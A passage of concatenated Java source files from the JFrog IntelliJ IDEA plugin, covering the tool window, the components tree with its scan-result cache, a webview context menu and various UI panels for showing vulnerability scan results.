leftPanel.add(createJcefNotSupportedView(), 0); return; } JBCefBrowser jbCefBrowser; try { jbCefBrowser = initVulnerabilityInfoBrowser(project); } catch (IOException | URISyntaxException e) { Logger.getInstance().error("Local view couldn't be initialized.", e); leftPanel.removeAll(); leftPanel.add(createLoadErrorView(), 0); return; } JPanel toolbar = createActionToolbar(); toolbar.setBorder(IdeBorderFactory.createBorder(SideBorder.BOTTOM)); leftPanel.add(toolbar, BorderLayout.PAGE_START); leftPanelContent = new JBPanel<>(new BorderLayout()); leftPanel.add(leftPanelContent); compTreeView = createComponentsTreeView(); alertIfCacheExpired(); refreshView(true); registerListeners(jbCefBrowser.getComponent()); isInitialized = true; } @Override public JPanel createActionToolbar() { DefaultActionGroup actionGroup = new DefaultActionGroup(new CollapseAllAction(componentsTree), new ExpandAllAction(componentsTree), new GoToSettingsAction(), new Separator(), new ScanTimeLabelAction()); actionGroup.addAction(ActionManager.getInstance().getAction("JFrog.StartLocalScan"), Constraints.FIRST); actionGroup.addAction(ActionManager.getInstance().getAction("JFrog.StopLocalScan"), Constraints.FIRST); return createJFrogToolbar(actionGroup); } /** * Register the issues tree listeners. */ public void registerListeners(JComponent browserComponent) { // Xray credentials were set listener appBusConnection.subscribe(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(this::onConfigurationChange)); // Wrap the browser component in a Panel to avoid display issues that may occur in some versions of IntelliJ in Windows. JPanel browserWrapper = new JBPanel<>(); browserWrapper.setLayout(new GridLayout()); browserWrapper.add(browserComponent); // Component selection listener componentsTree.addTreeSelectionListener(e -> { if (e == null || e.getNewLeadSelectionPath() == null || !(e.getNewLeadSelectionPath().getLastPathComponent() instanceof IssueNode)) { verticalSplit.setSecondComponent(null); return; } selectedIssue = (IssueNode) e.getNewLeadSelectionPath().getLastPathComponent(); updateIssueOrLicenseInWebview(selectedIssue); verticalSplit.setSecondComponent(browserWrapper); }); projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_LOCAL_STARTED, (ApplicationEvents) () -> { setLeftPanelContent(compTreeView); ApplicationManager.getApplication().invokeLater(this::resetViews); }); projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_LOCAL_CANCELED, (ApplicationEvents) () -> { ApplicationManager.getApplication().invokeLater(this::initialView); }); componentsTree.addRightClickListener(); } private void alertIfCacheExpired() { if (!componentsTree.isCacheEmpty() && componentsTree.isCacheExpired()) { Logger.showActionableBalloon(project, "The scan results have expired.\nClick here to trigger a scan.", () -> ScanManager.getInstance(project).startScan()); } } private void refreshView(boolean reloadCredentials) { GlobalSettings globalSettings = GlobalSettings.getInstance(); if ((!reloadCredentials && !globalSettings.areXrayCredentialsSet()) || !globalSettings.reloadMissingConfiguration()) { setLeftPanelContent(ComponentUtils.createNoCredentialsView()); return; } if (componentsTree.isCacheEmpty() && !ScanManager.getInstance(project).isScanInProgress()) { initialView(); return; } setLeftPanelContent(compTreeView); } private JComponent createReadyEnvView() { JPanel readyEnvPanel = new JBPanel<>(); readyEnvPanel.setLayout(new BoxLayout(readyEnvPanel, BoxLayout.PAGE_AXIS)); // "We're all set!" JBLabel allSetLabel = new JBLabel(); allSetLabel.setText("We're all set."); ComponentUtils.addCenteredComponent(readyEnvPanel, allSetLabel); // "Scan your project" HyperlinkLabel scanLink = new HyperlinkLabel(); scanLink.setTextWithHyperlink("Scan your project"); scanLink.addHyperlinkListener(e -> ScanManager.getInstance(project).startScan()); ComponentUtils.addCenteredComponent(readyEnvPanel, scanLink); return ComponentUtils.createUnsupportedPanel(readyEnvPanel); } private JComponent createJcefNotSupportedView() { JPanel jcefNotSupportedPanel = new JBPanel<>(); jcefNotSupportedPanel.setLayout(new BoxLayout(jcefNotSupportedPanel, BoxLayout.PAGE_AXIS)); // "Thank you for installing the JFrog IDEA Plugin!" JBLabel thanksLabel = new JBLabel(); thanksLabel.setText("Thank you for installing the JFrog IntelliJ IDEA Plugin!"); ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, thanksLabel); // "The plugin uses a component named JCEF that seem to be missing in your IDE." JBLabel pluginNeedsJcefLabel = new JBLabel(); pluginNeedsJcefLabel.setText("The plugin uses a component named JCEF that seem to be missing in your IDE."); ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, pluginNeedsJcefLabel); // "To make JCEF available in your IDE, you’ll need to have the IDE use a different boot runtime." JBLabel replaceBootRuntimeLabel = new JBLabel(); replaceBootRuntimeLabel.setText("To make JCEF available in your IDE, you’ll need to have the IDE use a different boot runtime."); ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, replaceBootRuntimeLabel); // "Click here, choose a boot runtime with JCEF, restart the IDE and come back." HyperlinkLabel scanLink = new HyperlinkLabel(); scanLink.setTextWithHyperlink("Click here, choose a boot runtime with JCEF, restart the IDE and come back."); scanLink.addHyperlinkListener(e -> RuntimeChooserUtil.INSTANCE.showRuntimeChooserPopup()); ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, scanLink); return ComponentUtils.createUnsupportedPanel(jcefNotSupportedPanel); } private JComponent createLoadErrorView() { JPanel loadErrorPanel = new JBPanel<>(); loadErrorPanel.setLayout(new BoxLayout(loadErrorPanel, BoxLayout.PAGE_AXIS)); // "The view couldn't be loaded." JBLabel viewNotLoadedLabel = new JBLabel(); viewNotLoadedLabel.setText("The view couldn't be loaded."); ComponentUtils.addCenteredComponent(loadErrorPanel, viewNotLoadedLabel); // "Check the Notifications / Event Log for more information." JBLabel checkLogsLabel = new JBLabel(); checkLogsLabel.setText("Check the Notifications / Event Log for more information."); ComponentUtils.addCenteredComponent(loadErrorPanel, checkLogsLabel); return ComponentUtils.createUnsupportedPanel(loadErrorPanel); } private void setLeftPanelContent(JComponent component) { leftPanelContent.removeAll(); leftPanelContent.add(component, 0); } private JBCefBrowser initVulnerabilityInfoBrowser(@NotNull Project project) throws IOException, URISyntaxException { // When the webview is first opened, the issue/license message might be sent before the page is loaded, so we // send the message again when the page is done loading. webviewManager = new WebviewManager(project, () -> updateIssueOrLicenseInWebview(selectedIssue)); Disposer.register(this, webviewManager); return webviewManager.getBrowser(); } /** * Create the components tree panel. * * @return the components tree panel */ private JComponent createComponentsTreeView() { JPanel treePanel = new JBPanel<>(new GridLayout()).withBackground(UIUtil.getTableBackground()); TreeSpeedSearch treeSpeedSearch = new TreeSpeedSearch(componentsTree, true, ComponentUtils::getPathSearchString); treeSpeedSearch.getComponent().getSelectionModel().setSelectionMode(TreeSelectionModel.SINGLE_TREE_SELECTION); treePanel.add(treeSpeedSearch.getComponent(), BorderLayout.WEST); JScrollPane treeScrollPane = ScrollPaneFactory.createScrollPane(treePanel); treeScrollPane.getVerticalScrollBar().setUnitIncrement(SCROLL_BAR_SCROLLING_UNITS); treeScrollPane.setBorder(null); return treeScrollPane; } private void updateIssueOrLicenseInWebview(IssueNode issueNode) { if (issueNode instanceof VulnerabilityNode issue) { webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertIssueToDepPage(issue)); } else if (issueNode instanceof ApplicableIssueNode node) { webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertIssueToDepPage(node.getIssue())); navigateToFile(node); } else if (issueNode instanceof LicenseViolationNode license) { webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertLicenseToDepPage(license)); } else if (issueNode instanceof SastIssueNode node) { webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertSastIssueToSastIssuePage(node)); navigateToFile(node); } else if (issueNode instanceof FileIssueNode node) { webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertFileIssueToIssuePage(node)); navigateToFile(node); } } private void navigateToFile(FileIssueNode node) { JumpToCode.getInstance(project).execute(node.getFilePath(), node.getRowStart(), node.getRowEnd(), node.getColStart(), node.getColEnd()); } /** * Clear the component tree. */ void resetViews() { if (componentsTree != null) { componentsTree.reset(); } } /** * Called after a change in the credentials. */ @Override public void onConfigurationChange() { if (componentsTree != null) { try { componentsTree.deleteCachedTree(); } catch (IOException e) { Logger.getInstance().warn("An error occurred while trying to delete the scan results cache: " + ExceptionUtils.getRootCauseMessage(e)); } } super.onConfigurationChange(); refreshView(false); } @Override public void updateUI() { super.updateUI(); if (isInitialized) { refreshView(true); } } public void initialView() { setLeftPanelContent(createReadyEnvView()); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/JFrogToolWindow.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.project.Project; import com.intellij.openapi.wm.ToolWindow; import com.intellij.ui.content.Content; import com.intellij.ui.content.ContentFactory; import com.intellij.ui.content.ContentManager; import org.jetbrains.annotations.NotNull; /** * Created by yahavi */ public class JFrogToolWindow { public static final float TITLE_FONT_SIZE = 15f; public static final int TITLE_LABEL_SIZE = (int) TITLE_FONT_SIZE + 10; public static final int SCROLL_BAR_SCROLLING_UNITS = 16; void initToolWindow(@NotNull ToolWindow toolWindow, @NotNull Project project, boolean buildsConfigured) { ContentManager contentManager = toolWindow.getContentManager(); JFrogLocalToolWindow jfrogLocalContent = new JFrogLocalToolWindow(project); JFrogCiToolWindow jFrogCiContent = new JFrogCiToolWindow(project, buildsConfigured); addContent(contentManager, jfrogLocalContent, jFrogCiContent); } private void addContent(ContentManager contentManager, JFrogLocalToolWindow jfrogLocalContent, JFrogCiToolWindow jfrogBuildsContent) { ContentFactory contentFactory = ContentFactory.getInstance(); Content localContent = contentFactory.createContent(jfrogLocalContent, "Local", false); contentManager.addContent(localContent); Content buildsContent = contentFactory.createContent(jfrogBuildsContent, "CI", false); contentManager.addContent(buildsContent); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/JFrogToolWindowFactory.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.ide.util.PropertiesComponent; import com.intellij.openapi.project.DumbService; import com.intellij.openapi.project.Project; import com.intellij.openapi.wm.ToolWindow; import com.intellij.openapi.wm.ToolWindowFactory; import com.jfrog.ide.idea.ci.CiManager; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import static com.jfrog.ide.idea.ui.configuration.JFrogProjectConfiguration.BUILDS_PATTERN_KEY; /** * @author yahavi */ public class JFrogToolWindowFactory implements ToolWindowFactory { @Override public void createToolWindowContent(@NotNull final Project project, @NotNull final ToolWindow toolWindow) { boolean buildsConfigured = isBuildsConfigured(project); DumbService.getInstance(project).runWhenSmart(() -> { project.getService(JFrogToolWindow.class).initToolWindow(toolWindow, project, buildsConfigured); CiManager.getInstance(project).asyncRefreshBuilds(); }); } private boolean isBuildsConfigured(Project project) { String buildsPattern = PropertiesComponent.getInstance(project).getValue(BUILDS_PATTERN_KEY); return StringUtils.isNotBlank(buildsPattern); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/JfrogContextMenuHandler.java ================================================ package com.jfrog.ide.idea.ui; import org.cef.browser.CefBrowser; import org.cef.browser.CefFrame; import org.cef.callback.CefContextMenuParams; import org.cef.callback.CefMenuModel; import org.cef.handler.CefContextMenuHandler; import javax.swing.*; import java.awt.*; public class JfrogContextMenuHandler implements CefContextMenuHandler { private static final int DEV_TOOLS_ID = 1; @Override public void onBeforeContextMenu(CefBrowser browser, CefFrame frame, CefContextMenuParams params, CefMenuModel model) { model.clear(); model.addItem(DEV_TOOLS_ID, "Inspect"); } @Override public boolean onContextMenuCommand(CefBrowser browser, CefFrame frame, CefContextMenuParams params, int commandId, int eventFlags) { if (commandId == DEV_TOOLS_ID) { openDevTools(browser); return true; } return false; } private void openDevTools(CefBrowser browser) { SwingUtilities.invokeLater(() -> { CefBrowser devToolsBrowser = browser.getDevTools(); JFrame frame = new JFrame("DevTools - JFrog IDE Webview"); frame.setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE); frame.setSize(800, 600); frame.getContentPane().add(devToolsBrowser.getUIComponent(), BorderLayout.CENTER); frame.setVisible(true); }); } @Override public void onContextMenuDismissed(CefBrowser browser, CefFrame frame) { } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/LocalComponentsTree.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.JBMenuItem; import com.intellij.pom.Navigatable; import com.intellij.ui.components.JBMenu; import com.jfrog.ide.common.nodes.*; import com.jfrog.ide.common.persistency.ScanCache; import com.jfrog.ide.common.persistency.ScanCacheObject; import com.jfrog.ide.idea.actions.CreateIgnoreRuleAction; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.navigation.NavigationService; import com.jfrog.ide.idea.navigation.NavigationTarget; import com.jfrog.ide.idea.scan.ScanManager; import com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu; import com.jfrog.ide.idea.utils.Utils; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import javax.swing.*; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.DefaultTreeModel; import javax.swing.tree.TreePath; import java.awt.event.ActionEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import java.io.IOException; import java.util.*; import java.util.concurrent.TimeUnit; import java.util.stream.Collectors; /** * @author yahavi */ public class LocalComponentsTree extends ComponentsTree { public static final String IGNORE_RULE_TOOL_TIP = "Creating Ignore Rules is only available when a JFrog Project or Watch is defined."; private static final String SHOW_IN_PROJECT_DESCRIPTOR = "Show direct dependency in project descriptor"; private static final String NO_ISSUES = "Your project was scanned and we didn't find any security issues."; private static final String ERROR_WHILE_SCANNING = "An error occurred while your project was scanned. Please see the Notifications tab for more details."; private static final String SCANNING = "Scanning..."; private static final long EXPIRED_CACHE_TIME = TimeUnit.DAYS.toMillis(7); // week private final ScanCache cache; public LocalComponentsTree(@NotNull Project project) throws IOException { super(project); String projectId = project.getProjectFilePath(); if (StringUtils.isBlank(projectId)) { projectId = project.getName(); } cache = new ScanCache(projectId, Utils.HOME_PATH.resolve("cache"), Logger.getInstance()); setNodesFromCache(); } public static LocalComponentsTree getInstance(@NotNull Project project) { return project.getService(LocalComponentsTree.class); } public void addScanResults(List fileTreeNodes) { setCellRenderer(new ComponentsTreeCellRenderer()); ApplicationManager.getApplication().invokeLater(() -> doAddScanResults(fileTreeNodes)); } /** * The primary logic of adding scan results to the components tree. * NOTE: This method must be run inside EDT. It's recommended to use {@link #addScanResults(List)} instead. * * @param fileTreeNodes File nodes to add to the components tree. */ void doAddScanResults(List fileTreeNodes) { SortableChildrenTreeNode root = getModel() != null ? (SortableChildrenTreeNode) getModel().getRoot() : new SortableChildrenTreeNode(); for (FileTreeNode node : fileTreeNodes) { FileTreeNode existingNode =(FileTreeNode) Optional.ofNullable(root.getChildren()) .orElseGet(Vector::new).stream() .filter(treeNode -> ((FileTreeNode) treeNode).getFilePath().equals(node.getFilePath())) .findFirst().orElse(null); if (existingNode != null) { existingNode.mergeFileTreeNode(node); continue; } root.add(node); } root.sortChildren(); populateTree(root); } private void populateTree(DefaultMutableTreeNode root) { toolbarPopupMenus.forEach(ToolbarPopupMenu::refresh); setModel(new DefaultTreeModel(root)); validate(); repaint(); } public void addRightClickListener() { MouseListener mouseListener = new MouseAdapter() { @Override public void mousePressed(MouseEvent e) { handleContextMenu(LocalComponentsTree.this, e); } }; addMouseListener(mouseListener); } private void handleContextMenu(ComponentsTree tree, MouseEvent e) { if (!e.isPopupTrigger()) { return; } // Event is right-click. TreePath selectedPath = tree.getPathForRow(tree.getClosestRowForLocation(e.getX(), e.getY())); if (selectedPath == null) { return; } Object selected = selectedPath.getLastPathComponent(); // Create the popup menu if clicked on a package. if it's a vulnerability, create ignore rule option. if (selected instanceof DependencyNode) { DescriptorFileTreeNode descriptorFileTreeNode = (DescriptorFileTreeNode) selectedPath.getParentPath().getLastPathComponent(); String descriptorPath = descriptorFileTreeNode.getSubtitle(); createNodePopupMenu((DependencyNode) selected, descriptorPath); } else if (selected instanceof VulnerabilityNode) { createIgnoreRuleOption((VulnerabilityNode) selected, e); } else if (selected instanceof ApplicableIssueNode) { createIgnoreRuleOption(((ApplicableIssueNode) selected).getIssue(), e); } else { return; } popupMenu.show(tree, e.getX(), e.getY()); } private void createIgnoreRuleOption(VulnerabilityNode selectedIssue, MouseEvent mouseEvent) { popupMenu.removeAll(); popupMenu.add(new CreateIgnoreRuleAction(selectedIssue.getIgnoreRuleUrl(), mouseEvent)); JToolTip toolTip = popupMenu.createToolTip(); toolTip.setToolTipText(IGNORE_RULE_TOOL_TIP); toolTip.setEnabled(true); } private void createNodePopupMenu(DependencyNode selectedNode, String descriptorPath) { popupMenu.removeAll(); NavigationService navigationService = NavigationService.getInstance(project); Set navigationCandidates = navigationService.getNavigation(selectedNode); //filtering candidates in case of multi module project Set filteredCandidates = navigationCandidates.stream() .filter(navigationTarget -> descriptorPath.equals(navigationTarget.getElement() .getContainingFile() .getVirtualFile() .getPath())) .collect(Collectors.toSet()); addNodeNavigation(filteredCandidates); } private void addNodeNavigation(Set navigationCandidates) { if (navigationCandidates == null) { return; } if (navigationCandidates.size() > 1) { addMultiNavigation(navigationCandidates); } else { addSingleNavigation(navigationCandidates.iterator().next()); } } private void addSingleNavigation(NavigationTarget navigationTarget) { popupMenu.add(createNavigationMenuItem(navigationTarget, SHOW_IN_PROJECT_DESCRIPTOR + " (" + navigationTarget.getComponentName() + ")")); } private void addMultiNavigation(Set navigationCandidates) { JMenu multiMenu = new JBMenu(); multiMenu.setText(SHOW_IN_PROJECT_DESCRIPTOR); for (NavigationTarget navigationTarget : navigationCandidates) { multiMenu.add(createNavigationMenuItem(navigationTarget, navigationTarget.getComponentName())); } popupMenu.add(multiMenu); } private JMenuItem createNavigationMenuItem(NavigationTarget navigationTarget, String headLine) { return new JBMenuItem(new AbstractAction(headLine) { @Override public void actionPerformed(ActionEvent e) { if (!(navigationTarget.getElement() instanceof Navigatable navigatable)) { return; } if (navigatable.canNavigate()) { navigatable.navigate(true); } } }); } public void cacheTree() throws IOException { if (getModel() == null) { cache.cacheNodes(new ArrayList<>()); return; } SortableChildrenTreeNode root = (SortableChildrenTreeNode) getModel().getRoot(); //noinspection unchecked cache.cacheNodes((List) (List) Collections.list(root.children())); } public void deleteCachedTree() throws IOException { cache.deleteScanCacheObject(); } private void setNodesFromCache() { ScanCacheObject cacheObject = cache.getScanCacheObject(); if (cacheObject == null) { return; } List treeNodes = cacheObject.getFileTreeNodes(); if (treeNodes == null) { setNoIssuesEmptyText(); return; } SortableChildrenTreeNode root = new SortableChildrenTreeNode(); for (FileTreeNode node : treeNodes) { root.add(node); } populateTree(root); if (isCacheExpired()) { // If cache is expired, display a gray tree and don't show inspections. // The reason for not showing inspections is to avoid displaying outdated results in the package descriptor. setCellRenderer(new ExpiredComponentsTreeCellRenderer()); return; } setCellRenderer(new ComponentsTreeCellRenderer()); // Run inspections after loaded cache ScanManager.getInstance(project).runInspections(project); } public boolean isCacheEmpty() { return cache.getScanCacheObject() == null; } public boolean isCacheExpired() { return System.currentTimeMillis() - cache.getScanCacheObject().getScanTimestamp() >= EXPIRED_CACHE_TIME; } public Long lastScanTime() { if (isCacheEmpty()) { return null; } return cache.getScanCacheObject().getScanTimestamp(); } /** * Sets the empty text to "Scanning...". * It means that this text will be shown only if the tree is empty. */ public void setScanningEmptyText() { SwingUtilities.invokeLater(() -> getEmptyText().setText(SCANNING)); } /** * Sets the empty text to indicate that the project was scanned and no issues were found. * It means that this indication will be shown only if the tree is empty. */ public void setNoIssuesEmptyText() { SwingUtilities.invokeLater(() -> getEmptyText().setText(NO_ISSUES)); } /** * Sets the empty text to indicate that during the project scan an error occurred. */ public void setScanErrorEmptyText() { SwingUtilities.invokeLater(() -> getEmptyText().setText(ERROR_WHILE_SCANNING)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/MoreInfoPanel.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.ui.components.JBLabel; import com.intellij.util.ui.UIUtil; import com.jfrog.ide.idea.ui.utils.ComponentUtils; import org.apache.commons.lang3.StringUtils; import javax.swing.*; import java.awt.*; import static com.jfrog.ide.idea.ui.utils.ComponentUtils.createJTextArea; import static com.jfrog.ide.idea.ui.utils.ComponentUtils.replaceAndUpdateUI; /** * Represents the right "More Info" panel. * * @author yahavi */ public class MoreInfoPanel extends JPanel { protected int lastTextPosition = 0; public MoreInfoPanel() { setLayout(new GridBagLayout()); setBackground(UIUtil.getTableBackground()); } protected void addComponent(String header, JComponent component) { JLabel headerLabel = createHeaderLabel(header + ":"); GridBagConstraints gridBagConstraints = createGridBagConstraints(); add(headerLabel, gridBagConstraints); gridBagConstraints.gridx = 1; gridBagConstraints.weightx = 0.9; add(component, gridBagConstraints); } protected void addText(String header, String text) { if (StringUtils.isNotBlank(text)) { addComponent(header, createJTextArea(text, true)); } } protected JLabel createHeaderLabel(String title) { JLabel headerLabel = new JBLabel(title); headerLabel.setOpaque(true); headerLabel.setBackground(UIUtil.getTableBackground()); headerLabel.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0)); return headerLabel; } protected GridBagConstraints createGridBagConstraints() { GridBagConstraints gridBagConstraints = new GridBagConstraints(); gridBagConstraints.fill = GridBagConstraints.HORIZONTAL; gridBagConstraints.anchor = GridBagConstraints.NORTHWEST; gridBagConstraints.ipadx = 20; gridBagConstraints.ipady = 3; gridBagConstraints.gridy = lastTextPosition++; return gridBagConstraints; } protected static void createComponentInfoNotAvailablePanel(JPanel panel) { replaceAndUpdateUI(panel, ComponentUtils.createDisabledTextLabel("Component information is not available"), BorderLayout.CENTER); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/components/ConnectionResultsGesture.java ================================================ package com.jfrog.ide.idea.ui.components; import javax.swing.*; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import static com.jfrog.ide.idea.ui.configuration.Utils.setActiveForegroundColor; import static com.jfrog.ide.idea.ui.configuration.Utils.setInactiveForegroundColor; import static org.apache.commons.lang3.StringUtils.isNotBlank; /** * Represents success and failure icons near the Xray and Artifactory URL. * * @author yahavi **/ public class ConnectionResultsGesture extends MouseAdapter { private static final String SUCCESS_UNICODE = "\u2714"; private static final String FAILURE_UNICODE = "\u2716"; private final JLabel connectionResults; private String message; public ConnectionResultsGesture(JLabel connectionResults) { this.connectionResults = connectionResults; } /** * Set success icon. */ public void setSuccess() { setValue("Success", SUCCESS_UNICODE); } /** * Set failure icon. * * @param message - The message to show in the hover and in the popup window */ public void setFailure(String message) { setValue(message, FAILURE_UNICODE); } /** * Set success/failure icon and show the relevant message when the user click/hover on the relevant icon. * * @param message - The message to show * @param unicodeIcon - Success/Failure icon */ private void setValue(String message, String unicodeIcon) { if (isNotBlank(this.message)) { connectionResults.removeMouseListener(this); } this.message = message; connectionResults.setText(unicodeIcon); connectionResults.setBorder(BorderFactory.createRaisedSoftBevelBorder()); connectionResults.setToolTipText(message); connectionResults.addMouseListener(this); } @Override public void mouseClicked(MouseEvent e) { JOptionPane.showMessageDialog(null, message); } @Override public void mouseEntered(MouseEvent e) { setInactiveForegroundColor(connectionResults); } @Override public void mouseExited(MouseEvent e) { setActiveForegroundColor(connectionResults); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/components/ImpactPathPane.java ================================================ package com.jfrog.ide.idea.ui.components; import com.intellij.ui.components.JBLabel; import com.intellij.util.ui.JBFont; import com.intellij.util.ui.JBInsets; import com.intellij.util.ui.JBUI; import com.intellij.util.ui.UIUtil; import com.jfrog.ide.idea.ui.utils.IconUtils; import org.apache.commons.lang3.StringUtils; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.Severity; import javax.swing.*; import javax.swing.border.Border; import java.awt.*; import java.util.Stack; /** * @author yahavi **/ public class ImpactPathPane extends JComponent { public ImpactPathPane(DependencyTree impactedNode, Severity severity) { setBackground(UIUtil.getTableBackground()); setLayout(new GridBagLayout()); add(Box.createRigidArea(new Dimension(0, 30))); addContent(extractImpactedPath(impactedNode), severity); } /** * Extract the impact path from the dependency tree into a stack. * * @param impactedNode - The impacted node * @return the impact path. */ private Stack extractImpactedPath(DependencyTree impactedNode) { Stack rootImpactPath = new Stack<>(); for (DependencyTree node = impactedNode; node.getParent() != null && !node.isMetadata(); node = (DependencyTree) node.getParent()) { rootImpactPath.add(node.toString()); } return rootImpactPath; } /** * Add the components to the impact path panel. * * @param impactPath - Impact path in reverse order * @param severity - The issue severity */ private void addContent(Stack impactPath, Severity severity) { GridBagConstraints constraints = createConstraints(); Color borderColor = getBorderColor(severity); while (!impactPath.isEmpty()) { // Add component label JLabel componentLabel = createComponentLabel(borderColor, impactPath.pop()); add(componentLabel, constraints); constraints.gridy++; if (impactPath.isEmpty()) { // Set icon and emphasize the last element componentLabel.setIcon(IconUtils.load(StringUtils.lowerCase(severity.name()))); componentLabel.setFont(JBFont.label().asBold()); } else { // Add arrow label JLabel arrowLabel = createArrowLabel(borderColor); add(arrowLabel, constraints); constraints.gridy++; } } } private GridBagConstraints createConstraints() { GridBagConstraints constraints = new GridBagConstraints(); constraints.fill = GridBagConstraints.BOTH; constraints.anchor = GridBagConstraints.CENTER; constraints.insets = new JBInsets(0, 0, 0, 100); constraints.gridx = 1; constraints.gridy = 1; return constraints; } private JLabel createArrowLabel(Color borderColor) { JLabel arrowLabel = new JBLabel("⇣"); arrowLabel.setFont(JBFont.label().biggerOn(5)); arrowLabel.setAlignmentX(Component.CENTER_ALIGNMENT); arrowLabel.setHorizontalAlignment(SwingConstants.CENTER); arrowLabel.setForeground(borderColor); return arrowLabel; } private JLabel createComponentLabel(Color borderColor, String componentId) { JLabel componentLabel = new JBLabel(componentId); componentLabel.setAlignmentX(Component.CENTER_ALIGNMENT); componentLabel.setHorizontalAlignment(SwingConstants.CENTER); componentLabel.setFont(JBFont.label()); componentLabel.setBorder(new ImpactedComponentBorder(borderColor)); return componentLabel; } @SuppressWarnings("UseJBColor") private Color getBorderColor(Severity severity) { switch (severity) { case Critical: return new Color(194, 17, 3); case High: return new Color(249, 126, 58); case Medium: return new Color(255, 195, 0); case Low: return new Color(211, 249, 167); case Unknown: return new Color(143, 139, 155); } return null; } /** * Represents the rounded corners border around the components in the impacted path panel. */ private static class ImpactedComponentBorder implements Border { private static final int RADIUS = 20; private final Color color; private ImpactedComponentBorder(Color borderColor) { this.color = borderColor; } @Override public Insets getBorderInsets(Component c) { return JBUI.insets(RADIUS + 1, RADIUS + 1, RADIUS + 2, RADIUS); } @Override public boolean isBorderOpaque() { return true; } @Override public void paintBorder(Component c, Graphics g, int x, int y, int width, int height) { g.setColor(color); g.drawRoundRect(x, y, width - 1, height - 1, RADIUS, RADIUS); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/components/LinkButton.java ================================================ package com.jfrog.ide.idea.ui.components; import com.intellij.icons.AllIcons; import com.intellij.ide.BrowserUtil; import com.intellij.openapi.project.Project; import com.intellij.openapi.wm.WindowManager; import com.intellij.ui.components.JBLabel; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import static com.jfrog.ide.idea.ui.configuration.Utils.setActiveForegroundColor; import static com.jfrog.ide.idea.ui.configuration.Utils.setInactiveForegroundColor; import static org.apache.commons.lang3.StringUtils.isBlank; /** * @author yahavi **/ public class LinkButton extends JBLabel { private MouseListener mouseListener; public LinkButton(String tooltip) { setToolTipText(tooltip); setInactiveForegroundColor(this); } public void init(Project project, String text, String link) { removeMouseListener(mouseListener); if (isBlank(link)) { setIcon(null); setText(""); return; } setIcon(AllIcons.Ide.External_link_arrow); setText(text); mouseListener = new BuildLogMouseAdapter(project, link); addMouseListener(mouseListener); } private class BuildLogMouseAdapter extends MouseAdapter { private final String link; private final Project project; private BuildLogMouseAdapter(Project project, String link) { this.link = link; this.project = project; } @Override public void mouseClicked(MouseEvent e) { BrowserUtil.browse(link); } @Override public void mouseEntered(MouseEvent e) { setActiveForegroundColor(LinkButton.this); WindowManager.getInstance().getStatusBar(project).setInfo(link); } @Override public void mouseExited(MouseEvent e) { setInactiveForegroundColor(LinkButton.this); WindowManager.getInstance().getStatusBar(project).setInfo(null); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/components/MenuButton.java ================================================ package com.jfrog.ide.idea.ui.components; import com.intellij.icons.AllIcons; import com.intellij.openapi.ui.JBPopupMenu; import com.intellij.ui.ClickListener; import com.intellij.ui.RoundedLineBorder; import com.intellij.ui.components.JBLabel; import com.intellij.util.ui.JBUI; import com.intellij.util.ui.UIUtil; import org.jetbrains.annotations.NotNull; import javax.swing.*; import javax.swing.border.Border; import java.awt.event.FocusAdapter; import java.awt.event.FocusEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import static com.jfrog.ide.idea.ui.configuration.Utils.setActiveForegroundColor; import static com.jfrog.ide.idea.ui.configuration.Utils.setInactiveForegroundColor; /** * Created by Yahav Itzhak on 22 Nov 2017. */ public class MenuButton extends JPanel { private static final int GAP_BEFORE_ARROW = 3; private static final int BORDER_SIZE = 2; private JLabel myNameLabel; private final JBPopupMenu filterMenu; private boolean filterEnabled; public MenuButton(JBPopupMenu filterMenu, String myName, String toolTip, Icon icon) { this.filterMenu = filterMenu; myNameLabel = new JBLabel(myName); myNameLabel.setIcon(icon); initUi(toolTip); } private void initUi(String toolTip) { JLabel arrow = new JBLabel(AllIcons.General.ArrowDown); setToolTipText(toolTip); setInactiveForegroundColor(myNameLabel); setBorder(createUnfocusedBorder()); setLayout(new BoxLayout(this, BoxLayout.X_AXIS)); add(myNameLabel); add(Box.createHorizontalStrut(GAP_BEFORE_ARROW)); add(arrow); revalidate(); repaint(); showPopupMenuOnClick(); indicateHovering(); indicateFocusing(); } /** * If one of the filters is applied (a checkbox is 